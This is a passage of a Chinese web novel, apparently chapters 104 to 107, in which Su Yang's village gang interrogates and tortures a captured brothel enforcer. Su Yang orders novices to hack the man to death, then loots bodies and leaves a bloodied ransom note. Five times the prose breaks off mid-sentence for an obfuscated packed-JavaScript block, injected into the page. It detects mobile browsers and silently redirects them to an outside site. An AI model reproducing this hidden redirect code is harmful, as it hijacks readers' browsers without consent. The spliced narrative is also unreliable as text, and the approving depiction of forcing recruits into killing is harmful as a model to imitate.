**一声惨叫,杀猪似的,身体剧烈扭动,活像一条被扔上岸等死的鱼。 “说不说?” 苏阳面无表情,又是一鞭子落下。鞭子抽在皮肉上,发出“啪”的脆响。 “我说!我说!” 剧痛之下,**,也就是钱远,终于扛不住了。他声音嘶哑,像是砂纸摩擦着破锣: “好汉……爷爷!饶命!我……我上有八十老母,下有……三个月大的娃儿……一家子……都指着我……吃饭!我……我要是……**……他们……都得……饿死啊!” 他哭得一把鼻涕一把泪,那叫一个凄惨,不知道的还以为他受了天大的冤屈。 苏阳差点没绷住笑出声。这年头,出来混的,谁还没个悲惨身世? 他目光扫过身边的几个小子,果然,有几个脸上露出了不忍的神色。尤其是二小子和四眼子,那表情,简直比**亲爹还难受。 “二小子,四眼子。” 苏阳突然开口,声音不大,却让两个沉浸在同情中的傻小子一个激灵。 “到!” 两人下意识地站直了身子。 “你们两个,说说,这小子要怎么收拾?” 苏阳指了指地上还在哼唧的钱远。 “啊?” 二小子和四眼子傻眼了。他们互相看了一眼,都从对方眼中看到了迷茫。 “这……这……” 二小子支吾着, “他……他看着……挺可怜的……” “要不……咱……咱放了他?” 四眼子小声补充了一句。 苏阳脸上似笑非笑, “放了他?让他回去孝敬老母,照顾妻儿?” “嗯嗯!” 二小子和四眼子连连点头。 “好啊!” 苏阳一拍大腿, “你们两个,现在就送他回去!我倒要看看,他家是不是真有八十老母!” “啊?” 这下,两个小子彻底傻眼了。放人?行!可送人回去?这…… “超……阳哥儿……我们……我们不认识路啊……” 二小子挠着头,一脸为难。 “不认识路?” 苏阳冷笑, “你们不是挺能耐吗?怎么,现在连路都不认识了?” 他顿了顿,语气更冷了: “还是说,你们根本就不想放人,只是嘴上说说而已?” “不不不!” 二小子和四眼子慌忙摆手, “我们……我们是真不认识路……” “行了,别废话了!” 苏阳不耐烦地打断他们, “去,把他嘴堵上,省得他再胡说八道!” 二小子和四眼子如蒙大赦,赶紧找了块破布,把钱远的嘴给堵上了。 钱远呜呜地叫着,拼命挣扎,可哪里挣得脱?他心里那个恨啊,简直比黄连还苦! “你们几个,都给我听好了!” 苏阳的声音再次响起, “以后再遇到这种事,都给我动动脑子!别被人几句话就给骗了!” “尤其是你,二小子,四眼子!你们两个,给我好好反省反省!” “是!” 众人齐声应道,声音洪亮。 就在这时,周阳突然开口: “阳哥儿,我好像……认识这家伙。” “嗯?” 苏阳一愣,转头看向周阳。 “你认识他?” “嗯。” 周阳点了点头, “我以前在凤子楼干活的时候,见过他。他好像……是凤子楼的一个打手,叫……钱远。” “凤子楼?” 苏阳眼睛一眯, “去,用清水给他擦掉脸上的血迹,我看看。” 孔远山立刻拿出水葫芦,倒出水,小心翼翼地给钱远擦了把脸。 这下,苏阳和路旭东都看清楚了。没错,这家伙确实是凤子楼的人。 “你这贼厮鸟!” 路旭东气不打一处来,上去就是一脚, “赶紧从实招来!你来这里干什么?” 钱远抱着头,疼得在地上打滚。他心里那个憋屈啊,简直没法说!想他钱远爷,在清阳县也算是一号人物,今天竟然栽在了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006426|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这帮泥腿子手里! 奇耻大辱!简直是奇耻大辱! 他咬牙切齿,心里发狠: “你们给我等着!等老子回去,一定要带人……把你们……**万段!” 当然,这些话他只能在心里想想,可不敢说出来。 “说!你们来这里干什么?” 苏阳再次开口,语气冰冷。 钱远一个激灵,知道今天不说实话是不行了。 “我们……我们是奉了……熊爷的命令……来……来办事的……” 钱远断断续续地说着。 “熊爷?哪个熊爷?” 苏阳追问。 “就是……凤子楼的……熊千秋……” 钱远的声音越来越小。 “熊千秋让你们来这里干什么?” 苏阳继续追问。 “我……我不知道……” 钱远摇了摇头, “熊爷没说……我们……只是跟着他……出来……” “然后呢?” 苏阳问。 “然后……我们就……进了这片林子……然后……就……就挨了打……” 钱远的声音里充满了委屈。 “你们有多少人?都带了什么家伙?” 苏阳问。 “我们……有……十几个……都……都骑着马……带着……弓箭……” 钱远老老实实地回答。 “这么说,你们是想伏击我们?” 苏阳冷笑。 “不……不是……” 钱远连忙否认, “我们……真不知道……你们……会来……” 他一边说,一边偷偷观察苏阳的表情。他心里那点小九九,根本瞒不过苏阳。 苏阳看在眼里,也不说破,只是淡淡地问: “那你们进林子干什么?” 钱远犹豫了一下,吞吞吐吐的说他们原本打算出城办事,结果刚进林子,就莫名其妙的挨了一顿揍。原本他们骑马,若是在空旷地带,定能将这些不知来历的土包子杀个片甲不留! 可恨的是,他们竟一头扎进了这鬼地方,简直就像是主动送进了包围圈!林子里,杀声震天。 凤子楼的打手都是亡命徒,招招狠辣。眨眼间,十来个**者倒地。 可来人太多,黑压压一片,杀不完。凤子楼这边,已有三个打手被砍翻,血流满地。 熊千秋带出六个打手,黄老八失踪,剩下五个,就数钱老远最没用。 第一百零四章 混战中腿上挨了一刀,惨叫一声,连人带马翻倒,动弹不得。 眼见情况不妙,熊千秋眼角抽搐,下令突围。 可等钱老远他们冲出来,回头一数,心都凉了——熊千秋没出来! 这下可真是捅了马蜂窝! 回去救? 不说能不能救,就算能,对方拿熊千秋当人质,谁敢动? 来人倒是干脆,开出条件:想让熊千秋回去,拿一万两银子到青虎岭! 一旁,苏阳听着,眉头紧锁。 不对劲! 这事透着蹊跷。 青虎岭的土匪,怎会跟凤子楼的人撞上? 还有钱老远…… 苏阳瞥了一眼被二小子和四眼子按在地上的钱老远。 这小子,刚才明明已经过去了,怎又折返? 有猫腻! “远山,”苏阳拍拍孔远山肩膀,“安排你个活,让这小子吐实话,能办到吗?” 孔远山眼中闪过一丝喜色。 这是阳哥儿给的机会! 他孔远山胆小,可脑子不笨,怎会不明白? 为了这口气,不让苏阳失望,孔远山咬牙:“阳哥儿放心,交给我!” 转身,朝二小子和四眼子使眼色:“拖那边林子里去!” 二小子和四眼子正憋着火。刚才被钱老远忽悠,丢人丢到家! 现在,机会来了! 两人狞笑,拖死狗一样把钱老远拖进树林深处。 钱老远哪见过这阵势? 看到孔远山阴恻恻的眼神,手里明晃晃的刀,像掉进狼窝的羊,浑身发抖。 “说,熊千秋带你们来干啥?”孔远山逼问,声音嘶哑。 钱老远吓得一哆嗦,全招了:“抢……银子……抢苏阳……从肥掌柜手里……拿的两千两……” “抢了银子呢?打算咋处置阳哥儿?”孔远山追问。 “这……真不知道……”钱老远哭丧着脸,“庞头领没说……” “啪!” 孔远山一巴掌扇过去:“少他娘装蒜!不说实话,老子让你生不如死!” 从腰间抽出**,比划。 钱老远吓得屎尿齐流:“真不知道……真不知道啊……” “好,很好。”孔远山阴冷一笑,手起刀落。 “啊——” 钱老远惨叫。 “干得不错。” 树林外,苏阳远远看着。他让孔远山去审问,就是要看这小子能不能把事情问清楚。 “远山,你再去问问,这银子,是肥掌柜让抢的,还是熊千秋自己想抢的?” “是!” 孔远山转身进林子。 苏阳没跟进去,留在外头放风。 这荒郊野岭,谁知会不会再冒出人? 小心为妙。 没多久,孔远山回来,脸色难看。 “阳哥儿,钱老远说不知道,熊千秋没说。” “嗯。” 苏阳点头,这倒也在意料中。盘算了下,对孔远山说:“你去,把大伙都叫过来。” 孔远山一愣,随即明白,这是要商量大事。他连忙应下,转身去召集人手。 不多时,人都聚齐了。 苏阳扫视一圈,沉声开口:“钱老远的事,大家都知道了。现在,说说吧,怎么处置他?” “杀了!” “对,杀了他!” 人群中,立刻有人喊道。 多数人都主张杀了钱老远,以绝后患。 “还有别的想法吗?”苏阳又问。 人群中,一阵沉默。 “阳哥儿,”林韧犹豫着开口,“要不……还是报官吧?” “报官?”苏阳眉头一皱,声音冷了下来,“报官有什么用?官府能替咱们出头?” 不等林韧回答,苏阳又接着说:“凤子楼的肥掌柜,可不是一般人。在清阳县能开这么大的饭店,没点背景,谁信?他要是想弄死咱们,跟捏死一只蚂蚁一样容易!” 林韧被苏阳说得脸色发白,冷汗直冒。 是啊,报官有什么用? 万一官府跟凤子楼是一伙的,那他们岂不是自投罗网? “这事,不能报官。”苏阳斩钉截铁地说,“谁要是敢报官,别怪我不客气!” 他这话,既是说给林韧听的,也是说给所有人听的。 “林韧,”苏阳盯着林韧,“你去,把钱老远杀了。” 林韧浑身一颤,脸色更加苍白。 “怎么,不敢?”苏阳冷冷地问。 “不……不是……”林韧连忙摇头,“我……我去……” 他知道,这是苏阳给他的机会,也是对他的考验。 如果他连这点事都做不好,以后还怎么在苏阳手下立足? 林韧咬了咬牙,从地上捡起一把刀,朝钱老远走去。 “杀了他!杀了他!” 人群中,有人低吼。 林韧深吸一口气,举刀,对着钱老远脖子砍去! 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006427|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一刀,却砍歪了,砍在了肩膀。 “嗷——” 钱老远惨叫,翻滚。 几个新来的小子,哪见过这血腥场面,吓得脸色惨白,后退。 苏阳走过来,看着。 “你们几个,”他指着那几个新人,“都上去,人人都给他来一下!” 几个小子面面相觑。 “不敢?”苏阳声音冰冷,“连这点胆都没有,以后还怎么跟着我?” 几个小子被逼无奈,硬着头皮上前。 颤抖着手,拿刀,乱砍。 血肉横飞,惨叫连连。 钱老远像破布,被砍烂。 苏阳看着,眼神没有波动。 乱世,人命如草芥。 对敌人仁慈,就是对自己残忍。 三个打手都**,苏阳不管有没有人给凤子楼报信。 现在最希望的,是熊千秋死在青虎岭。 凤子楼和土匪火并,他坐山观虎斗。 就算肥掌柜跟这事没关系,苏阳也已把他列为头号大敌。 当初交易,肥掌柜太反常。 一反常态地大方,各种要求都答应。 没猫腻,谁信? 熊千秋是肥掌柜侄子,没肥掌柜授意,他怎能调动这么多打手? 所以,苏阳确信,肥掌柜就是幕后黑手!“收工!” 苏阳把手一挥,颇有几分运筹帷幄的气势。 手下人立刻忙碌起来。埋尸这种事,干过一次就轻车熟路了。 凤子楼那三个打手的尸体,很快就被处理干净,扔进了路边挖好的土坑。 从他们身上搜出来的银钱不多,零零碎碎加起来也就十几两。 苏阳留下一半,剩下的,直接大手一挥:“兄弟们,见者有份!” 银子在空中划出一道弧线,散落在地。 “以后,这就是规矩。”苏阳扫视着一众跃跃欲试的小子,声音洪亮,“战利品,我拿一半,剩下的一半,你们分!记住了,这是头狼的规矩!” “记住了!” 小子们扯着嗓子,大声回应,一个个眼睛里都闪着兴奋的光。 平时跟着苏阳,吃喝不愁。现在有了外快,苏阳还能分给他们一半。这么好的西家,上哪儿找去! 至于苏阳从凤子楼弄来的那两千两银子,没人敢想。他们清楚得很,那银子和自己八竿子打不着。 三个打手留下的兵器,都是上好的家伙,朴刀、弓箭、马刀,一件不落,全部收缴。 第一百零五章 还有三匹马。活着的两匹牵走,死的那匹,苏阳也没打算浪费。 几百斤肉呢,拉回去正好打打牙祭。 “马肉不好吃?谁说的!”苏阳冷哼一声,眼睛一瞪,“那是吃饱了撑的人才讲究!穷人肚子里缺油水,有肉吃就不错了,还敢挑嘴?” 苏阳又突然想起什么似的,补充了一句: “这匹马倒了血霉,也容易被人盯上。把马卸了!” 可问题是,谁也没干过这活计啊! 杀猪宰羊还凑合,杀马?这年头,谁闲得慌杀马玩? 苏阳才不管那么多,一声令下,众人也只能赶鸭子上架。 石头咬了咬牙,第一个站了出来。 “蹭”的一声,他抽出腰间的斧头,瞪着那条粗壮的马腿,狠狠地劈了下去。 “砰!砰!” 其他人一看,也纷纷抄起家伙,围了上去。 刀砍斧剁,叮当作响。 好不容易把马肉分割完毕,再看那些肉块,简直没法看,横七竖八,大小不一。 苏阳倒是不在乎这些。他本来也没打算立马回去。 “凤子楼这次栽了,青虎岭的土匪肯定不敢久留。” 苏阳心里盘算着。 带着一帮刚摸刀的新手,和那些亡命之徒硬拼?他可没那么傻。就算侥幸赢了,又能捞到什么好处?这种吃力不讨好的事情,只有傻子才干! 又等了一阵,苏阳估摸着时间差不多了,才下令: “启程,回家!” 队伍重新出发。 可没走多远,气氛就变得凝重起来。 前边,就是虎啸林! 谁知道那里头还藏着多少土匪? 这种未知,让人心慌。 离虎啸林还有两里多地,队伍里就开始弥漫着一股紧张的气息。 苏阳眼尖,他注意到,有几个小子紧紧攥着藏在棉布下的劲**,额头上已经渗出了细密的汗珠。 甚至连盾牌都举得有些歪斜。 “这样下去不行。” 苏阳皱了皱眉,心里清楚,再这么下去,还没和土匪照面,自己这边就先垮了。 他突然停下脚步,转身面对众人,朗声说道: “兄弟们,怕什么!不就是几个土匪吗?咱们手里有家伙,怕个鸟!” “来,跟我一起喊!狭路相逢——” 苏阳故意拉长了声音。 “勇者胜!” 众人先是一愣,紧接着,像是被点燃了似的,齐声高呼。 “狭路相逢——勇者胜!” “狭路相逢——勇者胜!” 声音越来越响亮,在空旷的野地里回荡。 苏阳要的就是这个效果。 他要让这些小子们明白,气势上绝对不能输! 眼看着离虎啸林越来越近,一些人的声音又开始发颤。 苏阳心里明白,光靠喊口号还不够。 幸亏新人早就经历过血雨腥风,开了荤,不然真要是猝不及防遇上袭击,结局简直不敢想象。 “呼……” “呼呼……” 终于,队伍有惊无险地穿过了虎啸林。 直到这时,众人才彻底放松下来,一个个如释重负,大口大口地喘着粗气,仿佛要把胸腔里所有的紧张和恐惧都吐出来。 刚才神经绷得太紧了,大冷的天,不少人硬是憋出了一身汗! “停下!” 就在众人刚刚松了一口气的时候,苏阳突然大喊一声。“停车!” 苏阳一声暴喝,中气十足。 冷不丁这么一下,队伍里几个胆小的家伙一个哆嗦,险些握不住手里的家伙。 还以为是林子里突然杀出土匪,一个个手忙脚乱,从棉布下抽出手**,指着四周,手却抖得像筛糠。 苏阳没急着解释,先由得这帮小子咋呼。 等他们咋呼够了,这才慢悠悠地开了口: “石头,你带几个,跟我进林子摸摸情况。” “呼……” 提心吊胆的众人,齐齐出了口气。 有几个更是夸张地捂着胸口,一副惊魂未定的模样: “吓死我了,我的个老天爷,还以为土匪打过来了!” “就是,没事你瞎咋呼啥,我这小心脏扑通扑通的,差点没跳出来!” “俺……俺裤子都湿了……” 这话一出,人群里顿时一阵骚动,也不知道是谁,带头笑出了声。 石头一听苏阳要亲自进林子,顿时急了,连忙拦住: “二哥,这哪能让你去?杀鸡焉用牛刀!我带几个弟兄进去就行!” 他心里憋着一股劲。 之前和凤子楼的打手干仗,自己和弟兄们就是一群摆设,屁用没顶。 要不是二哥力挽狂澜,一个人射翻了俩,还不知道要出多大事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006428|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从那以后,石头就暗暗发誓,一定要争口气,不能再拖二哥的后腿。 眼下进林子探路这种小事,要是还让苏阳亲自出马,自己这张脸往哪儿搁? “二哥,你就瞧好吧,我保证把林子里的情况摸个底朝天!” 路旭东和毕明志几个,也纷纷出言劝阻。 孔远山更是跳脱,一拍胸脯,震天响: “阳哥儿!这事儿哪用得着你亲自出马?咱们这帮弟兄又不是吃干饭的!你就在这儿等着,我们保证把林子翻个底朝天!” 石头听了,差点没忍住一脚踹过去。 这叫什么话? 原来你一直在这吹牛皮,是拿我当挡箭牌? 你自己咋不进去?有种你上啊! 苏阳看着这帮活宝,哭笑不得。 想想也是,这趟应该没啥大危险。 索性就让这帮小子去折腾,顺便也让他们发泄一下心里的紧张情绪。 可谁知,石头带着人刚往林子里走了没几步,就“嗷”的一嗓子,连滚带爬地退了回来。 这突如其来的变故,把所有人都吓了一跳。 苏阳也“唰”的一下,把背上的家伙事儿给拎起来了。 “二……二哥,没……没事,”石头指着林子深处,大喘气,“土匪……跑逑了!留了几具……尸体,像是……凤子楼的……” 他眼神躲闪,似乎有什么难言之隐。 苏阳把手一挥:“都是自家兄弟,有屁快放!” 孔远山凑上来,挤眉弄眼:“石头,你倒是说啊!磨磨唧唧的,想急死谁?” 石头斜了他一眼,没好气地说:“你急什么?又不是你媳妇要生了!” “你!”孔远山被噎得直翻白眼。 “我……看着像……赖小二……”石头终于把话说全了。 人群“轰”的一声炸了。 “赖小二?他咋了?” “**?” “不能吧!他不是在家养伤吗?” 大伙儿七嘴八舌,说什么的都有。 苏阳也纳闷。 这赖小二,非要出来浪,跑这荒郊野岭来干啥?难不成真是来给青虎岭送赎金的?可这也太巧了吧,偏偏碰上凤子楼的人? “都别吵吵了!石头,带几个人,跟我去看看!”苏阳决定亲自去瞧瞧。 到了地方,几个人用树枝拨开遮挡的杂草和浮土。 第一百零六章 几具尸体横七竖八地躺在地上。 其中一个,脖子上被开了个大口子,血肉模糊,看着就瘆人。 “这……这是赖小二?”有人惊呼。 也难怪,这尸体脸上全是血污,哪还看得出人样? “谁带水了?”苏阳问。 “我这儿有!”孔远山从腰间解下一个葫芦,递了过去。 苏阳接过葫芦,倒出水,冲洗尸体的脸。 几下之后,一张熟悉的脸露了出来。 可不就是赖小二! “真是他!” “他咋死这儿了?” “……” 众人议论纷纷。 在赖小二周围,还躺着三具尸体,衣服早被人扒了个精光。 不过,从残留的一些布料和配饰上看,和之前遇到的凤子楼打手很像。 苏阳围着几具尸体转了几圈,又在周围仔细搜寻了一番。 突然,他指着不远处一个微微隆起的土包,说:“把那儿挖开!” 大伙儿面面相觑,不知道苏阳葫芦里卖的什么药。 “还愣着干啥?动手啊!”苏阳催促道。 几个人这才反应过来,从背篓里拿出铁锹、锄头等工具,开始挖土。 这些工具,还是之前在清阳县置办的。 没想到,这么快就派上了用场。 没用多大会儿,土包就被挖开了。 十几具尸体,出现在众人眼前。 所有人都惊呆了。 一股凉气,从脚底板直窜天灵盖。 这些尸体,有的没了脑袋,有的身子被劈成两半,还有的胸口被开了个大洞…… 死状一个比一个惨! 不用问,这些肯定是青虎岭的土匪! 看这架势,两伙人之前肯定发生过一场恶战。 只是不知道什么原因,土匪的尸体竟然被草草埋在了这里。 “我的个乖乖,这也太吓人了……” “这得是多大的仇啊……” “……” 几个胆小的,腿肚子都开始转筋了。 苏阳的脸色也有些凝重。 他虽然经历过不少厮杀,但这么惨烈的场面,还是头一次见。 “都看到了吧?”苏阳的声音低沉而有力,“这就是江湖!弱肉强食,适者生存!平时让你们好好练功,一个个叫苦连天,现在知道厉害了吧?以后谁要是再敢偷懒,下场就跟他们一样!” 他指着地上的尸体,语气严厉。 “二哥,我们……我们再也不敢了……” 几个小子低着头,声音发颤。 “知道就好!”苏阳缓和了语气,“记住,只有自己强大了,才能在这个世界上立足!” 就在这时,路旭**然蹲下身子,开始在尸体上摸索。 “你干啥呢?”孔远山瞪大了眼睛。 “这你都不懂?”路旭东白了他一眼,“当然是搜搜看有没有值钱的玩意儿!” “这……这也能摸?”孔远山一脸的不可思议。 “有啥不能摸的?**还能咬你不成?”路旭东说着,已经从一具尸体上摸出了一个小布包。 打开一看,里面竟然是几块碎银子! “嘿!还真有!”路旭东咧嘴一笑。 看到这一幕,其他几个小子也来了精神。 “二哥,我们……我们也能摸吗?”有人跃跃欲试。 苏阳笑了笑,没有直接回答,而是反问了一句:“你们猜,他们能摸出多少银子?” “这话说得也太满了吧!” “我猜得有二十两!” “说不定能有一百两呢!当土匪的,肯定有钱!” “……” 几个小子的猜测,让现场的气氛轻松了不少。“阳哥儿,我猜他们身上一个子儿都掏不出来!” 孔远山这话一出,尾音还带着点儿抑制不住的得意,仿佛已经看到了苏阳夸奖他的场面。 周围瞬间安静得像是能听见针掉在地上的声音。 “孔远山,你小子别胡咧咧!” 一个矮个子的小子跳了出来,指着孔远山的鼻子, “凭啥说他们一个铜板都摸不着?你还能未卜先知?” “就是,远山,胆小怕事我们不怪你,但也不能睁眼说瞎话啊!” 另一个小子也附和,语气里带着明显的不相信, “这么多土匪,身上能没钱?” 几个小子七嘴八舌,都不信孔远山这“预言”。 苏阳没理会他们的争论,只是走到陈木生身边,手掌落在他肩膀上,轻轻拍了拍: “石头,你说呢,能搜出多少?” 这一个小动作,却像是一颗石子投入平静的湖面,瞬间激起层层涟漪。在场的小子们,包括孔远山在内,都齐刷刷地朝陈木生投去了目光。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006429|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那目光里,有羡慕,有嫉妒,更多的,是难以言说的复杂意味。 苏阳对陈木生的看重,那是明摆着的事,根本不需要多说。 陈木生那张憨厚的脸涨得通红,他先是抬头看了看苏阳,眼神里带着一丝茫然,接着又挠了挠后脑勺,似乎有点不好意思: “二哥,俺……俺也不知道。” 他顿了顿,像是下了很大的决心,才继续说道, “俺听你的,你说多少就多少,嘿嘿……” 最后那两声干笑,听起来多少有点尴尬。 孔远山差点没气歪鼻子。 他原本还指望着苏阳能夸他几句,没想到风头全被陈木生这憨货给抢了! 好你个陈木生,看着老实巴交的,没想到这么会拍马屁! 装啥糊涂呢,这分明是在苏阳面前狠狠刷了一波存在感,顺带还踩了他一脚! 毕明志站在一旁,眼神微微闪烁,若有所思地看了看陈木生,又看了看苏阳,似乎品出了点什么味道。 但还是有几个小子没转过弯来,他们看着陈木生这“憨憨”的样子,忍不住在心里翻了个白眼。 就是个废物点心,就算阳哥儿再青睐又能如何!就这脑子,还不如回家种地呢! “呸,真特么邪门,一个铜板都没找着!” 路旭东一脸晦气地站了起来,狠狠地往地上啐了一口。 他弯腰在尸体上摸索了半天,结果却是两手空空。 其他几个摸尸的小子也垂头丧气的: “怪了,这么多土匪,咋就没钱呢?” “是啊,邪了门了,难不成他们把钱都藏起来了?” “啊?” 刚才还信誓旦旦能摸出银子的小子们,全都傻眼了。 他们面面相觑,简直不敢相信自己的耳朵。 孔远山这乌鸦嘴,还真说中了? 几个人交换了下眼神,将信将疑地又去摸了一遍。 入手处,除了硬邦邦的尸体,就是破烂的衣裳,别说银子了,连个铜板的影子都没有! 苏阳将他们的神情尽收眼底,脸上却是不动声色。 他故意停顿了一下,才缓缓开口: “行了,别摸了,都过来。” “把这几个,都给吊起来。” “啊?” 几个小子一愣,以为自己听错了。 “阳哥儿,这……这不合适吧? 第一百零七章 人都**……” 有人小声嘀咕了一句,觉得苏阳这做法有点过分了。 “让你们吊就吊,哪来那么多废话!” 苏阳眼睛一瞪,语气严厉起来。 “别忘了,他们可是凤子楼的人!” “想想他们平时怎么欺负咱们的!” “现在,咱们不过是以其人之道,还治其人之身!” 一听这话,几个小子立马反应过来,心中的那点不忍也瞬间烟消苏散。 对啊,这可是凤子楼的走狗,有什么好可怜的! 他们手脚麻利地把几具尸体拖到树下,用绳子绑了,吊在了树枝上。 苏阳从怀里掏出一块布条,沾了沾地上的血,在一棵树干上写了起来: “死肥猪,为了你侄子的小命,三天之内,一万两银子,青虎岭!——苏阳留” 写完,他还觉得不够醒目,又在旁边画了个大大的骷髅头。 几个小子看得目瞪口呆,但随即,一个个都兴奋起来。 还是阳哥儿有办法!这招真是绝了! “林韧,你刚才说要把赖小二送回去?” 苏阳转过头,看向林韧,眼神中带着一丝冷意。 林韧被他看得心里发毛,缩了缩脖子,不敢吭声。 他没想到,苏阳竟然还记得这茬。 “你是不是觉得,咱们应该跟村正报官,把这事儿告诉官府?” 苏阳的声音不高,却带着一股不容置疑的威严。 “我……我不是这个意思……” 林韧结结巴巴地想要解释,却被苏阳打断了。 “我不管你是什么意思,我只问你,如果村正问起来,人是谁杀的,你怎么回答?” “这……” 林韧张了张嘴,却发现自己什么也说不出来。 “实话实说?告诉他们,是我们杀了凤子楼的人,还有土匪?” 苏阳冷笑一声, “你觉得,他们会相信吗?” “就算他们信了,你觉得,他们会怎么处置咱们?” “是把咱们当成英雄,还是把咱们当成**犯?” 一连串的问题,像连珠炮一样砸向林韧,让他无言以对。 “就算……就算咱们不说,那赖小二的尸体怎么办?总不能一直留在那里吧?” 林韧还是不死心,试图找到一个反驳的理由。 “尸体?” 苏阳挑了挑眉, “谁说那里有尸体了?” 他指了指远处的山林, “咱们只是路过,看到一群土匪在火并,其他的,一概不知!” “记住了,从现在开始,忘掉赖小二这个人,忘掉你们今天看到的一切!” 苏阳的语气斩钉截铁,不容置疑。 “可是……” 林韧还想说什么,却被其他小子打断了。 “林韧,你是不是傻啊?阳哥儿这么做,肯定有他的道理!” “就是,你别忘了,咱们现在可是一条绳上的蚂蚱,谁也跑不了!” “你要是敢乱说话,坏了阳哥儿的计划,别怪兄弟们不客气!” 几个小子纷纷指责林韧,语气里充满了不满和威胁。 他们现在已经完全信任苏阳,任何可能威胁到苏阳,威胁到他们安全的人,都是他们的敌人。 林韧被怼得脸色一阵青一阵白,他知道,自己再说什么也没用了。 苏阳看了他一眼,没再说什么,转身带着众人离开了。 一路上,苏阳反复强调,要守口如瓶,绝不能泄露半点风声。 同时,也要做好准备,以防土匪来袭。 他心里清楚,赖守仁和赖守义的死,很可能只是一个开始。 真正的危险,还在后面。 凤子楼,青虎岭…… 这潭水,比他想象的还要深。 回到村子的时候,天色已经完全暗了下来。 村口**了不少人,火把的光亮映照着一张张焦急的面孔。 看到几辆牛车缓缓驶来,人群顿时骚动起来。 “爹!” 孔远山一眼就看到了自己的父亲,他激动地大喊一声,眼泪瞬间夺眶而出。 不仅仅是他,其他几个小子也纷纷跑向自己的家人,哭喊声、叫喊声混成一片。 几个新来的小子,更是直接扑到父母怀里,嚎啕大哭起来。 劫后余生,与家人团聚,这其中的滋味,只有亲身经历过的人才能体会。村口。 “爹!” 孔远山眼泪瞬间决堤,一眼就瞅见了人群里站着的,头发都有些花白的老父亲。他一声喊,迈开大步就冲了过去。 不只是他,其他小子也都跟离弦的箭一样,飞奔回家。 一个个哭得惊天动地,像是刚从阎王殿里走了一遭。 几个新来的小子更猛,直接扎进爹娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006430|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀里,哭得嗓子都哑了。 也难怪。 死里逃生,又见到日思夜想的亲人,没体验过的,哪能明白这滋味? “儿啊,让爹看看,伤着哪儿没有?” “儿啊,你可回来了,娘的心都快跳出来了!” 一个大娘们直接把自己儿子拽过去,在他身上一通乱摸,还一边带着哭腔喊: “儿啊,跟娘回家!以后打死咱也不出门了!” 一声声,一句句,都是当爹娘的心疼,害怕。 苏阳没阻止,这种时候,就得让他们好好发泄发泄。 他走到林绮娘旁边,正要开口。 “呜……” 小丫头直接扑进他怀里,小肩膀头还一颤一颤的,显然吓得不轻。 苏阳脸上露出无奈,轻轻拍着她的背: “没事了,绮娘,就是几个不长眼的**贼,我这不是好好的吗?” 他眼角余光扫到,王婶和她的小女儿也在那儿擦眼泪。 小荷才四岁,估计是看大家都哭,她也跟着抹眼泪玩。 等大家伙儿哭声渐小。 苏阳提高了嗓门: “乡亲们,老少爷们,静一静,听我说两句!” 他的手下们瞬间四散而去,帮着维持秩序。 苏阳暗暗点头,看来还是得实战,比平时说啥都管用。 等周围安静下来,苏阳跳上一辆牛车,尽量让声音显得洪亮: “各位,今天我们碰上了一伙土匪,他们自称是青虎岭下来的。” 顿了顿,他继续说: “他们跟凤子楼的人火并,那场面,啧啧,尸体躺了一地!” “幸亏咱们见机快,不然这会儿,怕是也成尸体了……” 苏阳隐去了他和凤子楼的那些破事,只说两边打得你死我活,他们是侥幸逃脱。 